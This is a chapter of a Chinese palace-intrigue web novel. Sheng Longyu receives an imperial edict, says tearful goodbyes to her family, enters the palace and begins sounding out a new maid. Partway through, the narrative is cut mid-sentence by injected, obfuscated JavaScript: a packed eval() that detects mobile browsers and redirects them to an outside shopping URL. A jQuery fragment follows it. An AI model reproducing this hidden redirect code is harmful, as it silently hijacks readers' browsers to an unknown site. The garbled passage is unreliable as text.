第二日,巳时刚至。
宫里就来人的,来的是位紫衣腰间佩金鱼袋的中年内侍,赫然是在御前侍奉皇上的副总管汤皓。
“圣旨到——”尖细的声音由远及近。
盛府上下于庭院内跪拜了一地。
“奉天承运皇帝,诏曰:咨尔吏部尚书之女盛珑玉,静容丽质,涵养淑贞,德蕴兰香,特册封为正五品美人,赐居忘忧宫西偏殿,钦此。”
盛珑玉恭敬跪拜谢恩,接过圣旨。
盛家众人也谢恩后起身,盛逾面上的喜色溢于言表,掏出一只荷包往汤皓手里塞,笑呵呵地请他留下喝杯茶再走。
荷包一入手,汤皓就掂出分量不轻。盛大人可是皇上的股肱之臣,再者今日还是盛美人的大喜之日,这荷包于情于理他都得收,否则岂不是不给面子。
既然都收了,他也不介意多透露些别的。
“盛大人太客气,可惜这茶水奴才是无福消受了,还有好些圣旨没去宣读呢,您这里可是我来的头一个,美人小主这也是独一份的。”
言下之意,盛珑玉的位分是新妃中的第一人,也是唯一被册封为正五品的,其他人至少都要比她低一级。
说罢,汤皓临走前又留下句:未时四刻左右宫内便会有轿子来接各位小主入宫。
等人走后,盛家众人脸上的欣喜陡然转变成浓浓的不舍,和对离别的怅然。
离未时看起来还久,可对整个盛家来说却太短了,光是收拾细软都嫌不够。
大哥盛湛明叩响门框时,就看到自家妹妹坐在屋正中的案几后,提笔思索,很是苦恼的样子。
他眉峰轻动:“给宋二姑娘写信?”
盛珑玉像是听到了什么可怕的事一样,鼓起脸颊。
“开什么玩笑,我跟她可是死对头,上赶着找骂不成。”
大哥语气悠长地哦了一声,略过这茬直截了当地表明来意,将一沓银票推至她的面前。
盛湛明:“收好别让你二哥知道,知道也别把我供出来,天天从我钱袋里捞银子的家伙,大哥我攒这些容易嘛。”
说着摸了摸她的脑袋,“进了宫也别委屈自己,有我们呢,你开心就好。”
“谢谢大哥!”盛珑玉摇头晃脑,高高兴兴地把银票收好,他们兄妹之间从来不需要客气。
盛湛明又叮嘱了几句后方才离开。
他刚走没多久,二哥盛秉谦也从大开的门口冒出头来。
人还未走近就抛过来一只钱袋子,话紧随其后:
“妹妹这可是二哥这么多年拼命积攒的全部家当了,为了你,我日日从大哥那坑蒙拐骗啊!”
盛珑玉才不信,撑着下颌眯着眼睛笑听他胡扯。
盛秉谦厚脸皮惯了,浑然不当一回事,在她对面坐下,说着说着忽然叹了口气。
一入宫门深似海,哪怕他相信小妹的聪明机警,也免不了担心,更重要的是——
“早知你日后会入宫,十三年前我就不揍那位了,至少也该蒙面的。”
“二哥别给自己脸上贴金了。”盛珑玉无情揭穿,“分明你才是被揍的那个。”
盛秉谦矢口否认:
“互殴!互殴!”
送完两位兄长,盛珑玉略算了下,再加上昨天她爹给的压箱底私房钱,可真是一笔不菲的巨款。
这还只是他们私下的贴己,盛家为她准备好的,要带进宫的银两数比这还要多得多。
又过了会儿,她娘江云棠带着丫鬟们,各个手里捧着好些东西过来。
“银票、散碎金银,还有些福禄式样的,你赏赐宫人用得上也算讨个喜庆;头面首饰就挑些你喜欢的带上;还有这衣裳啊,是这两月娘让人新做的还好赶上了……”
江云棠絮叨着,事事都想为她考虑周全。
“娘!”
盛珑玉看她忙来忙去的,顿时红了眼眶,拉住娘亲贴在她怀里。江云棠强装出来的自持瞬间破碎,眼里也盈满了泪水。
母女俩人亲昵地抱在一起,仅剩的时间一点点流逝,她却只想更深切地记住娘亲怀抱里的温情。
“昫儿,娘只求你平安喜乐就好。”
-
春色浓郁,日头正好。
一顶软轿落定在丰合门,早已等在门边的小内侍长顺,连忙抖擞精神,快几步前来殷勤着候着。
只见轿子旁边的侍女掀起帷帘,最先现在他眼里的是一只白如脂玉的手,看着就知是养尊处优惯了的。
等到新小主下了轿,长顺都不禁看愣神了片刻,女子身着蓝粉色百褶千水裙,面若桃花,明眸皓齿,活脱脱像是从画里走出的绝代美人。
哪怕在全是美人的后宫内,颜色能比之更盛的,都难以找出一二。仅凭这份美貌,都让人想不出其会埋没在深宫里。
长顺不敢多看,内心欣喜面上却极为规矩地躬身上前请安,表明自己是来为小主引路的。
“麻烦公公了。”
盛珑玉淡笑,身边的竹夏立即机灵地把荷包递进他手里。
长顺脸上的笑意更真情实感了几分,心想真是来对了,还好自己眼疾手快抢了先。
连声说着小主客气了,边走边尽职尽责地为她介绍途经的宫内各处。
丰合门进去便是一条长长的,红墙青砖的甬道,走出甬道便豁然开朗,右手边靠近紫宸殿,左手边是殿选那日所在的神封殿。
再往前是皇后娘娘所居的中宫,朝阳宫,其他十二宫围绕其分列东西两旁。
盛珑玉被分到的忘忧宫属于东六宫之一,路过朝阳宫走上小半个时辰,就到了。
“忘忧宫离太液池、登仙台不远,小主闲暇时走动也便宜,宫内除了东偏殿的咏林殿住着位苏嫔娘娘外,就没有旁的小主了,很是清静。
小主所住的西偏殿扶摇小筑,秀美雅致,是个难得的好去处。”
长顺看着面嫩,话里却油滑得很,眼看着忘忧宫近在眼前,他暗里捏了捏荷包心思百转千回。
小声说道:“苏嫔娘娘颇为和善,其他两位才人就没小主有福气了,钱宝林尤甚,本应在弦月宫后又被分到了西边的红荔宫。”
这些事但凡有心,稍加打听便知,长顺在这里不过是先行卖个好罢了。
盛珑玉若有所思。
“多谢公公提点。”冬见礼仪周全客气地道谢。
长顺忙说不敢不敢,将三人引到了忘忧宫内的扶摇小筑偏殿前,才恭顺告退。
扶摇小筑的宫人已候在殿门口等待,听见动静看到来人,连忙跪下请安。
“奴婢/奴才见过小主。”
按照宫规,美人位分的新妃可带两名侍女随同入宫,殿中省再分配来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588762|205395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
四位宫女和四位内侍,共有十人伺候。
“都起来吧。”
盛珑玉先左右打量了一番自己日后住的地方,的确如刚刚那个小内侍所说,秀美雅致,宽敞是要比她在家中的院子宽敞不少。
最让她惊喜的是庭院东边,有一汪不知从哪流淌经过的活水小塘,有座水榭台坐在塘边。
风过,吹皱了平静的水塘,送来阵阵清爽凉意。
竹夏和冬见看她高兴,也跟着高兴。
打量完盛珑玉才转向还候在旁边的八位宫人,她看了看,指向其中一个隐隐越过其他人半步现在最前的宫女。
“你叫什么名字?”
翠青宫服的宫女屈膝行礼:“回禀小主,奴婢名为惊鹊。”
“明月别枝惊鹊,清风半夜鸣蝉。惊鹊、惊鹊。”她轻缓地点了点头,“我喜欢你的名字,日后你就跟我身边的两位侍女一同进内伺候吧。”
惊鹊面露喜色,连忙谢恩。
竹夏笑嘻嘻地贴近她,圆圆的脸上满是娇憨。
“惊鹊姐姐,我叫竹夏她是冬见,咱们初入宫什么都不懂,日后就要劳烦姐姐教教我们了。”
惊鹊沉着眼睛,带着几分拘谨的惶恐和难以抑制的激动,但也知小主自然是更信自己带来的人,万不敢真拿乔。
“都是为小主办事,自当尽心竭力。”
“好了等会儿再讲你的俏皮话。”冬见没好气地戳了戳竹夏的额头,对惊鹊客气冷淡地颔首示意。
“这殿内宫人原些是干什么的便还是干什么,若有哪里需要调整的,就先劳烦惊鹊姐姐多费心了。美人小主今个入宫,乃是一桩喜事,主子和善也让大家都沾沾喜气。”
说完两人取出准备好的赏银散下去,宫女内侍接到手后又惊又喜。
惊的是小主出手可真大方,这分量得有五两重了吧;喜的自不用多说,他们抢着来扶摇小筑伺候,不就是指望主子争气,自己也能受益嘛。
竹夏:“小主最是心善,只要你们尽心尽力伺候得宜,日后的好处还多着呢。”
“行了,先下去吧。”
盛珑玉只留下了惊鹊,四人穿过庭院往内殿去。
竹夏和冬见将带入宫的行囊拿进内室收置摆放,她坐在外厅的桌旁,惊鹊连忙斟茶。
茶香浓郁,水温适宜。
盛珑玉抿了口茶水,涩味有余回甘不足,闻着香喝起来却平平无奇,她只略沾了沾就搁置在一旁。
“你入宫多久了?”
“奴婢已入宫十年。”
“十年?”她惊讶地挑了下眉,“那你之前是侍奉哪位主子的?”
惊鹊一五一十的以实相告:“奴婢先前是在仪太妃身边伺候的,自年初仪太妃薨后,便回了殿中省,今日有幸能被分到小主身边做事。”
盛珑玉点点头,手指落在桌面上,好似随意地敲了敲。
惊鹊低眉垂头,恭敬地等了等,终于等来小主的再度开口。
“你在宫中许久,那对宫内的事应当所知甚多吧,那便给我讲讲如何?”
惊鹊心中一凛,知道这才是真正的考验。
“不知小主想先听……”
她意有所指,也是个不大不小的试探。
盛珑玉撩了撩被风吹乱的发丝。
“听闻德妃娘娘最喜清静。”